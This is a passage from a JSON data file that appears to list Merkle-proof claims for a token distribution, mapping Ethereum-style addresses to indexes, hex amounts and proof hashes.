"0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 97 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 98 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 99 | ] 100 | }, 101 | "0x249934e4C5b838F920883a9f3ceC255C0aB3f827": { 102 | "index": 8, 103 | "amount": "0xa0d154c64a300ddf85", 104 | "proof": [ 105 | "0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00", 106 | "0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3", 107 | "0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2", 108 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 109 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 110 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 111 | ] 112 | }, 113 | "0x24dD3381afaE5d29E8eAf398aa5e9A79E41e8B36": { 114 | "index": 9, 115 | "amount": "0x73294a1a5881b324fe", 116 | "proof": [ 117 | "0x4e5133c9221f862a0116601af29c036030d7a2d6656057ce9a3790751d9380dd", 118 | "0x26171694d9e478c26b02ca6850ea3b0d94dba9ead9fc33ed3f0cb59482117454", 119 | "0x54dfc2bcb68496ea7b8f2e6abbbd3dc442151628379a64aa231ce6fb6aae02b6", 120 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 121 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 122 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 123 | ] 124 | }, 125 | "0x29a53d36964Db6fD54f1121d7D15e9ccD99aD632": { 126 | "index": 10, 127 | "amount": "0x195da98a14415c0697", 128 | "proof": [ 129 | "0xbeba51d0cb0bc6339edf1832ce33515c92b2bfdbf243e531188470ca084b3b2d", 130 | "0xb74970b484c464c0e6872c78a4fec81a5166f500c6e128052ca5db7a7e22d858", 131 | "0xf5f6b74e51a15573007b59fb217c22c55fd9748a1e70578c6ddaf550b7298882", 132 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 133 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 134 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 135 | ] 136 | }, 137 | "0x2a0097816875A110E36cFD07228D6b1bB4c31d76": { 138 | "index": 11, 139 | "amount": "0x3b58f426caa31ae7d1", 140 | "proof": [ 141 | "0x0354af4f2c661dc1e918482f626b66f110408fb709894c9c488a001eb0742399", 142 | "0xf467876e338a148fd70b2581b6b3a7469047be31dca35c345a510ef85dba31dc", 143 | "0xd7fc0d5cfae7aea3e6f1c1a6d427c9da67942e8091b8bf719a39cb31442588cf", 144 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 145 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 146 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 147 | ] 148 | }, 149 | "0x2cC891F5Ab151fD54358b2f793f7D80681FAb5AE": { 150 | "index": 12, 151 | "amount": "0x37a7e4700ede0a9511", 152 | "proof": [ 153 | "0x4e7ffaaa80516282b025bb78de5e2ff37bf537c79efbef7d3a76212520edfa1e", 154 | "0x570a5dc89eddc4cdb73631b6f43d3e20a10b272a69b0b9087d778502b4ae034b", 155 | "0xe17532a1de454f0b97005a3608233cbbdf6680bdefb2eab2dade48d76df0407f", 156 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 157 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 158 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 159 | ] 160 | }, 161 | "0x3600C2789dbA3D3Eb5c36d11d07886c53d2A7eCF": { 162 | "index": 13, 163 | "amount": "0x3d0142d7d7218206f9", 164 | "proof": [ 165 | "0x53af2e862fa1f6e8b669f83b25bfd6d2c3fb52df0ca2d76c03374bffca658b2d", 166 | "0x570a5dc89eddc4cdb73631b6f43d3e20a10b272a69b0b9087d778502b4ae034b", 167 | "0xe17532a1de454f0b97005a3608233cbbdf6680bdefb2eab2dade48d76df0407f", 168 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 169 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 170 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 171 | ] 172 | }, 173 | "0x3869541f32b1c9b3Aff867B1a2448d64b5B8c13b": { 174 | "index": 14, 175 | "amount": "0xcda8b311ab8fa262c8", 176 | "proof": [ 177 | "0x9907e0ad71155513cb3a0fa6fb714b1bbdd5b85005a6cae4f32d68d843bec8b8", 178 | "0x72828ce11efc964cf1f828f243091a1783032ec9dbe26d53d1ef15beb050508c", 179 | "0x449eac22434639a214604e71bc3c53ee18a2803f1cca16000e5d26fe3ee6ac11", 180 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 181 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 182 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 183 | ] 184 | }, 185 | "0x3ACcF55fcE78E5df0E33A0fB198bf885B0194828": { 186 | "index": 15, 187 | "amount": "0x283eff6bcf599ad067", 188 | "proof": [ 189 | "0x65b5391533e6646ac62af8e8d4b2ecb10ccc163fd91ad2309e25299ef0527e6d", 190 | "0x62663a6d05597df610cb657a9d6691fd7c5352e6ed2f76f0274c3bc96ec14aed", 191 | "0x9c655dc701fa000048be0b99912551f71b77031ce47437fa220120e8b56a877c", 192 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 193 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 194 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 195 | ] 196 | }, 197 | "0x3a0bF58A644Ff38F56C79476584394Cf04B2ef72": { 198 | "index": 16, 199 | "amount": "0x7cb9abf0e3262da923", 200 | "proof": [ 201 | "0xad664d58ccd7f0f2c817ae6a1620d88e4602131e17207efdd89f6cf98b903628", 202 | "0x86f8b4db67c570567b6d8c72a4127cce15ed261863f0fc28c63bfa9e92a8c4fd", 203 | "0x3f267b524a6acda73b1d3e54777f40b188c66a14a090cd142a7ec48b13422298", 204 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 205 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 206 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 207 | ] 208 | }, 209 | "0x417D6b3edBE9Ad2444241cc9863573dcDE8bf846": { 210 | "index": 17, 211 | "amount": "0x4196852d9dc64be33a", 212 | "proof": [ 213 | "0xa2f005afe53c681aec101c5107b1bc6619e1ebaea3d55fc38dabac341c958619", 214 | "0x0c15f6d9f61156109f0005f9b7f675b23e7aec4694ab76571f78c1e967dc99ef", 215 | "0x41e12276ae416e87527eef564a668374da0157d93387edd75796ffeab88bf849", 216 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 217 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 218 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 219 | ] 220 | }, 221 | "0x42dd0823B8e43082b122e92b39F972B939ED597a": { 222 | "index": 18, 223 | "amount": "0x1b97eb44d92febab98", 224 | "proof": [ 225 | "0x7b43e82a88f0da5db71bc1c82f1515b9b17ff69e88ec3f101a50cfd98d7f60ce", 226 | "0x5eeac0a5817d0a92ac8111f5baea4d21a3d9a935bb9a8ab87c326d52fe9dce44", 227 | "0x6396734133b37a66dcaf6e892db605531ae16ff8945cbccc5590b3624bbda293", 228 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 229 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 230 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 231 | ] 232 | }, 233 | "0x4B3570C7A1ff2D20F344f4bD1dD499A1e3d5F4fb": { 234 | "index": 19, 235 | "amount": "0x7f1616a67585a28802", 236 | "proof": [ 237 | "0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442", 238 | "0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d", 239 | "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde", 240 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 241 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 242 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 243 | ] 244 | }, 245 | "0x4FeD95B0d2E1F3bD31E3d7FE90A5Bf74Ae991C32": { 246 | "index": 20, 247 | "amount": "0x386ffb4b46b6e905c7", 248 | "proof": [ 249 | "0xb142a5c6b86dd9fdd364b8aef591f47c181dcfbd41cde017eee96c7b8a686e2e", 250 | "0x86f8b4db67c570567b6d8c72a4127cce15ed261863f0fc28c63bfa9e92a8c4fd", 251 | "0x3f267b524a6acda73b1d3e54777f40b188c66a14a090cd142a7ec48b13422298", 252 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 253 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 254 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 255 | ] 256 | }, 257 | "0x51E932b7556f95cf70F9d87968184205530b83A5": { 258 | "index": 21, 259 | "amount": "0x42ab44de8b807cbc4f", 260 | "proof": [ 261 | "0x59b5a9cd883510d6863a0715c88a98b079c036a4fb5039a0105ed4b21f3658c5", 262 | "0x8d95f5b0ee482a4d1f61599c5b35b324a89036b657998b1def0dde35a92123aa", 263 | "0xe17532a1de454f0b97005a3608233cbbdf6680bdefb2eab2dade48d76df0407f", 264 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 265 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 266 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 267 | ] 268 | }, 269 | "0x58F3fd7DD3EFBBF05f1cd40862ee562f5C1a4089": { 270 | "index": 22, 271 | "amount": "0x2d1a8654a3b98df3d1", 272 | "proof": [ 273 | "0x164465e87b253a734a56bc34e3f4b5f24c5f3ee5cade2a6ca2f8f48535309c95", 274 | "0x6353fdd25845769b10a6f4e18d04c0a1226d47381aa51bfcb971395733433879", 275 | "0x0cd186d2b1377ee96a87ef7a295dec75cc05b54a08fcaca61868911d6ac9bc27", 276 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 277 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 278 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 279 | ] 280 | }, 281 | "0x5C2DE342003b038E81a9E5aa8286dCB7A30DCE94": { 282 | "index": 23, 283 | "amount": "0x0985fd6041e59eebbb", 284 | "proof": [ 285 | "0xf552c4b0909600d226d5f42161c58f7a5722027298f8c204247323336262be88", 286 | "0xb237516aa3fae34a6ca09a662b8457ffb22dd2dfc5aa144e0d6c0f2445821b86", 287 | "0x2fa599012c0491428e6451d1cc1511f133f82c66ee98b9eefc1b4c263db48518", 288 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 289 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 290 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 291 | ] 292 | }, 293 | "0x61300D372cfa25E34E5667B45199801FF3f4B3D9": { 294 | "index": 24, 295 | "amount": "0x38b5b63d5f211c5a71", 296 | "proof": [ 297 | "0xfb6d302655b6f6a8f6f1aca20a3edb8c6c8c4640daab78796f3e1c0cd0ec8606", 298 | "0xb237516aa3fae34a6ca09a662b8457ffb22dd2dfc5aa144e0d6c0f2445821b86", 299 | "0x2fa599012c0491428e6451d1cc1511f133f82c66ee98b9eefc1b4c263db48518", 300 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 301 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 302 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 303 | ] 304 | }, 305 | "0x6A4CEBddA50C4480f8772834720dCDCB01CaFb5D": { 306 | "index": 25, 307 | "amount": "0x5d1b4cb3431ecb4f1a", 308 | "proof": [ 309 | "0x763326fbee252000fc15343ef2cc074ab3414dbc8e35312781451927dce56f80", 310 | "0x644ff4aa4c4a5713d7d2189eaf1d60cc99a4924db146f3714d998510f35ed34c", 311 | "0x4651c9cafba7a07e593d2fddecb28bfd6af2c0731126931e60a621684363524a", 312 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 313 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 314 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 315 | ] 316 | }, 317 | "0x6D26E7739C90230349F4F6e8DAF8da8188e2c5cD": { 318 | "index": 26, 319 | "amount": "0x33d68b2ef4c9c4e1ee", 320 | "proof": [ 321 | "0xd2b8ed2291e92e504017d646568210a107890c34d22aed283cb1a77d1ff66b9d", 322 | "0x225de26d438b50d8afea1120376d92b188d770338d4629a6cfbd09c7af39d34c", 323 | "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde", 324 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 325 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 326 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 327 | ] 328 | }, 329 | "0x6b3D0be96d4dD163dCADF6a6bc71EBb8dD42a9B2": { 330 | "index": 27, 331 | "amount": "0x55cb74d295a7078628", 332 | "proof": [ 333 | "0x42545b56127a9fe8daea5c3cf4036a47cf91f4596b49a70be6e5f807c592a561", 334 | "0x25e8e051b1e50b71a99e6247bef8c6566c3ec41d3ba014d5963fc31b48169965", 335 | "0x54dfc2bcb68496ea7b8f2e6abbbd3dc442151628379a64aa231ce6fb6aae02b6", 336 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 337 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 338 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 339 | ] 340 | }, 341 | "0x767911D2c042332F6b2007E86f1DdA2B674F6185": { 342 | "index": 28, 343 | "amount": "0x2fb5d437c8cd9dfc7f", 344 | "proof": [ 345 | "0x7216025ef8f0d72ddac0c434ac52525b6946623534ec3cbe5ea1317c27ad7a9a", 346 | "0x43047705e643f244c1fa91232f837793bd978d50a148cccdcb5883cd20d21f07", 347 | "0x4651c9cafba7a07e593d2fddecb28bfd6af2c0731126931e60a621684363524a", 348 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 349 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 350 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 351 | ] 352 | }, 353 | "0x793652bf3D5Dc52b92fc3131C27D9Ce82890422D": { 354 | "index": 29, 355 | "amount": "0x2609c108e379ee4aad", 356 | "proof": [ 357 | "0x565be7f9f28d9025dba7935e9251d55c9cb6bc8198366d4b99aa072229e015f9", 358 | "0x8d95f5b0ee482a4d1f61599c5b35b324a89036b657998b1def0dde35a92123aa", 359 | "0xe17532a1de454f0b97005a3608233cbbdf6680bdefb2eab2dade48d76df0407f", 360 | "0xe3affea7b3ec31efa680e4f2728e46392eea685ce2ca5803848a3637de650e13", 361 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 362 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 363 | ] 364 | }, 365 | "0x7B237D20D18f1872b006D924FA2Aa4f60104A296": { 366 | "index": 30, 367 | "amount": "0x304e03adc3e62a2d09", 368 | "proof": [ 369 | "0x7c6732545262910be97f294b94dfe4a16612869a1e167184895d72b316f10717", 370 | "0x5eeac0a5817d0a92ac8111f5baea4d21a3d9a935bb9a8ab87c326d52fe9dce44", 371 | "0x6396734133b37a66dcaf6e892db605531ae16ff8945cbccc5590b3624bbda293", 372 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 373 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 374 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 375 | ] 376 | }, 377 | "0x7cD932afCaF03fA09FdfCFF35A5a7D4b6b4F479e": { 378 | "index": 31, 379 | "amount": "0x41bc0955cae5406c53", 380 | "proof": [ 381 | "0x7c8901ce6a2988d1b59e96b346a1da117f0360266f2357a2b35e42de68d67b62", 382 | "0x3c7a509d9a786d3476cf62d5076e246cdc15572aadfbfc49993290bea04dc33e", 383 | "0x6396734133b37a66dcaf6e892db605531ae16ff8945cbccc5590b3624bbda293", 384 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 385 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 386 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 387 | ] 388 | }, 389 | "0x7cbB03Eaccc122eF9e90eD99e5646Fc9B307bcd8": { 390 | "index": 32, 391 | "amount": "0x09906894166b087772", 392 | "proof": [ 393 | "0xd6948c2c22e5c79cf7aa1dcce8e6927388d7c650445159b9e272f84c95a032e6", 394 | "0x19e39d26bfd282e8e58964c4d9e4bc060308166347034e432d8a9fbefb2c6e68", 395 | "0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2", 396 | "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a", 397 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 398 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 399 | ] 400 | }, 401 | "0x8250D918318e4b2B456882D26806bE4270F4b82B": { 402 | "index": 33, 403 | "amount": "0x38addb61463edc4bc6", 404 | "proof": [ 405 | "0x8652a5d44578e32b80888eba7b90d776d65f946d28c2a92a174c28061eb19470", 406 | "0xa9fd6f5ade2e4b246e93337936684b7a5cc7285dca4caf3b26203f258211bb75", 407 | "0x449eac22434639a214604e71bc3c53ee18a2803f1cca16000e5d26fe3ee6ac11", 408 | "0xf2511a8dc138320a73ce3b126adfa94a3e290691a9071d85189d01ef860bd734", 409 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 410 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 411 | ] 412 | }, 413 | "0x860Faad971d0e48B96D69C21A32Ca288229449c4": { 414 | "index": 34, 415 | "amount": "0x13ea41317f589a9e0c", 416 | "proof": [ 417 | "0x115e62dc3725c12935896f44553d0835473aa466efc65b46dc70749bb69655bc", 418 | "0xb1408b0fc0b96c6469dd721ebd1c04ec436da2e819765a758fe2f17c9fbf6021", 419 | "0x292ea2e708cd883538e918fa5e092fe233fc7ef4be50902e9c63610af22ba9b8", 420 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 421 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 422 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 423 | ] 424 | }, 425 | "0x88127EF65888a2c4324747DC85aD20b355D3effb": { 426 | "index": 35, 427 | "amount": "0x32cb97226798201629", 428 | "proof": [ 429 | "0x019c868fa8ed0a5d4d0c902c5bd7b18a53b75b0575e8b8bea70041af9310949f", 430 | "0x68cb43b42c0f1a39502ac222e901a42950ac602e2335eca67a15e3f6a661a7d7", 431 | "0xd7fc0d5cfae7aea3e6f1c1a6d427c9da67942e8091b8bf719a39cb31442588cf", 432 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 433 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 434 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 435 | ] 436 | }, 437 | "0x8Ce478613DE9E8ff5643D3CfE0a82a7C232453E6": { 438 | "index": 36, 439 | "amount": "0x828f60c1e44867745f", 440 | "proof": [ 441 | "0xc75df667b1e0673d6434808d3e4466c39f61a00b113663a58cfdbfc7ccef29e3", 442 | "0x83f60a763e672b25703da0229e530c207933554cc4c26dfe30d69b11a2f5e511", 443 | "0xf5f6b74e51a15573007b59fb217c22c55fd9748a1e70578c6ddaf550b7298882", 444 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 445 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 446 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 447 | ] 448 | }, 449 | "0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e": { 450 | "index": 37, 451 | "amount": "0x5dacf28c4e17721edb", 452 | "proof": [ 453 | "0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b", 454 | "0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d", 455 | "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde", 456 | "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813", 457 | "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c", 458 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 459 | ] 460 | }, 461 | "0x8ff0687af6f88C659d80D2e3D97B0860dbaB462e": { 462 | "index": 38, 463 | "amount": "0x391da2eb282a38e702", 464 | "proof": [ 465 | "0xa0043ed2863bf56a6190c105922498904db3844dad729b3f5d9c6944a5dd987c", 466 | "0xd29a8264fe1886a31674e30d34a918354022351498a0f42f68f12e0ca2fb3a09", 467 | "0x41e12276ae416e87527eef564a668374da0157d93387edd75796ffeab88bf849", 468 | "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f", 469 | "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e", 470 | "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5" 471 | ] 472 | }, 473 | "0x959DB5c6843304F9F6290f6c7199DD9364ec419D": { 474 | "index": 39, 475 | "amount": "0x33310207c285e55392", 476 | "proof": [ 477 | "0x5a53412f6ed9a29d5c57527fa3d9c32d774387a3994db9f61849cdcb189a2a4c", 478 | "0x9fb9f6ee8f0b83a0f1eb41e57eb1b4a53d0dfa86bab2bb38093113670cf2d94c", 479 | "0x9c655dc701fa000048be0b99912551f71b77031ce47437fa220120e8b56a877c", 480 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 481 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 482 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 483 | ] 484 | }, 485 | "0x97D10d05275e263F46E9eA21c9aE62507eBB65e3": { 486 | "index": 40, 487 | "amount": "0x1969ca1f270d7cd9d1", 488 | "proof": [ 489 | "0x2bb44cee53daf66acb6f397831fc2d678c84b5b09ca7b1fff7afda9bb75ef05e", 490 | "0xb78206103b20c68f5d201d54f68a9ae27530ce21120501797e6cf8c69f6f2be2", 491 | "0x955c47a5eea3ebf139056c0603d096a40a686b2304506f7509859fe9cc19bd79", 492 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 493 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 494 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 495 | ] 496 | }, 497 | "0x9B34e16b3D298790D61c4F460b616c91740A4a1a": { 498 | "index": 41, 499 | "amount": "0x3678ab48c78fe81be3", 500 | "proof": [ 501 | "0x0701f8f739a2fec08a0e04cc1c3e66fa558dba855236882c5a624d0cea9a4e0b", 502 | "0xf467876e338a148fd70b2581b6b3a7469047be31dca35c345a510ef85dba31dc", 503 | "0xd7fc0d5cfae7aea3e6f1c1a6d427c9da67942e8091b8bf719a39cb31442588cf", 504 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 505 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 506 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 507 | ] 508 | }, 509 | "0xA8cAb79bedA626E2c3c2530AC3e11fc259F237D6": { 510 | "index": 42, 511 | "amount": "0x2db4445d44fddb00d2", 512 | "proof": [ 513 | "0x15320e37bd46719b860b97998a11ffb42ff26db76ead7e0c43c22e17806502df", 514 | "0x6353fdd25845769b10a6f4e18d04c0a1226d47381aa51bfcb971395733433879", 515 | "0x0cd186d2b1377ee96a87ef7a295dec75cc05b54a08fcaca61868911d6ac9bc27", 516 | "0x21daac29f18f235ede61e08c609f5762e5d12f87d9f014a3254039eb7b71d931", 517 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 518 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 519 | ] 520 | }, 521 | "0xA8f416E298066cb578e4377BeFbdb9C08C6252A8": { 522 | "index": 43, 523 | "amount": "0x29e0cb8068d84a987b", 524 | "proof": [ 525 | "0x72c98c344d8b36b7c169dc9d3ea7e43f6927b605aa869fe5fd76dc606edd283b", 526 | "0x644ff4aa4c4a5713d7d2189eaf1d60cc99a4924db146f3714d998510f35ed34c", 527 | "0x4651c9cafba7a07e593d2fddecb28bfd6af2c0731126931e60a621684363524a", 528 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 529 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 530 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 531 | ] 532 | }, 533 | "0xB58Ad39c58Bdf1F4E62466409c44265A89623722": { 534 | "index": 44, 535 | "amount": "0x7347e43564a789c880", 536 | "proof": [ 537 | "0x095fc5ae9321eabfede2c4fac05af6ae866f315c08b4f60a3d1b5c166de660ed", 538 | "0x1577bdc1958b6677f9e850bbb2b938daa51979ce9af4b0dbcc7f763c3aee1ee3", 539 | "0x292ea2e708cd883538e918fa5e092fe233fc7ef4be50902e9c63610af22ba9b8", 540 | "0x51f609195fe7b01dbe09b4f0c130c652183a94ce57e75ba6ead0fc94d2c4f557", 541 | "0x4fcfc1702cc3495bc600779c15a4aec4dc5f6432cbf82d5209c0f07095ffe33c", 542 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 543 | ] 544 | }, 545 | "0xC379f96dcdF68A5FA3722456fB4614647D1c6bbD": { 546 | "index": 45, 547 | "amount": "0x8202b24cb5d34efa49", 548 | "proof": [ 549 | "0x635d83d54c68be93dbb2d55213899ce15315a8052c5fa76b01d2cafc63b1ec16", 550 | "0x9fb9f6ee8f0b83a0f1eb41e57eb1b4a53d0dfa86bab2bb38093113670cf2d94c", 551 | "0x9c655dc701fa000048be0b99912551f71b77031ce47437fa220120e8b56a877c", 552 | "0x36023974ab0ea95508c311d9ccbf32b662b1ffdb2823817d746f8222ec2dd07c", 553 | "0x5ccf0ef336c96ea89a6a1b0fa449644f646e67fdf1099608f560fcf8b55118e8", 554 | "0x3d159ff1e06840b9a541438da880d6637874661722c48e37343c9e6329245c2e" 555 | ] 556 | }, 557 | 